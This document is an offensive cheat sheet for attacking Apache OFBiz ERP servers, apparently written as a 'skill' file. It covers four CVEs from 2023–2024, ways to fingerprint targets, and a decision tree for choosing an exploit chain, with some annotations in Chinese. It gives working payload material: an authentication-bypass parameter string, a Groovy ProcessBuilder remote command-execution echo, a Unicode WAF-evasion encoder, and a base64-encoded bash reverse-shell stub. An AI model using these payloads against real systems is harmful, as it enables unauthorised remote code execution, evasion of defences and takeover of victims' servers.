Apache OFBiz Exploit Skills
- Product: Apache OFBiz (open-source ERP system) | Port: 8443/HTTPS, 8080/HTTP
- Identification:
/webtools/control/ping returns "PONG", FOFA app="Apache_OFBiz"
- Tech stack: Java, Groovy, XML-RPC
Vulnerability Overview
| Vulnerability ID |
Affected Versions |
Vulnerability Type |
Exploitation Conditions |
Impact |
| CVE-2023-49070 |
<=18.12.09 |
XML-RPC deserialization RCE |
ysoserial + outbound network |
Critical |
| CVE-2023-51467 |
<=18.12.10 |
Authentication bypass |
No authentication required |
Critical |
| CVE-2024-32113 |
<18.12.14 |
Path traversal + Groovy RCE |
No authentication required |
Critical |
| CVE-2024-38856 |
<18.12.15 |
Groovy expression injection RCE |
No authentication required |
Critical |
Exploitation Decision Tree
1. 存活检测: GET /webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y
├── 返回 "PONG" → 确认为OFBiz，继续按版本选择利用链
├── <=18.12.09 → CVE-2023-49070: XML-RPC反序列化 (需ysoserial)
├── <=18.12.10 → CVE-2023-51467: 认证绕过 + SSRF
├── <18.12.14 → CVE-2024-32113: forgotPassword路径遍历 + Groovy RCE
└── <18.12.15 → CVE-2024-38856: 直接Groovy表达式注入RCE (优先尝试)
Exploit Chain Selection Strategy
优先 CVE-2024-38856 → /webtools/control/main/ProgramExport
失败 CVE-2024-32113 → /webtools/control/forgotPassword;/ProgramExport
最后 CVE-2023-49070 → /webtools/control/xmlrpc/ + 序列化payload
Common Endpoints Quick Reference
| Endpoint |
Method |
Purpose |
/webtools/control/ping |
GET |
Liveness Detection |
/webtools/control/main/ProgramExport |
POST |
Groovy RCE (CVE-2024-38856) |
/webtools/control/forgotPassword;/ProgramExport |
POST |
Path traversal + Groovy RCE (CVE-2024-32113) |
/webtools/control/xmlrpc/ |
POST |
XML-RPC deserialization (CVE-2023-49070) |
Key Quick Reference
- Authentication bypass parameters:
?USERNAME=&PASSWORD=&requirePasswordChange=Y
- Groovy output echo:
throw new Exception(new ProcessBuilder("sh", "-c", "{cmd}").redirectErrorStream(true).start().inputStream.text)
- Unicode encoding (WAF bypass):
''.join([f'\\u{ord(i):04x}' for i in payload])
- Bash reverse shell:
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"].execute().text
Detailed Reference
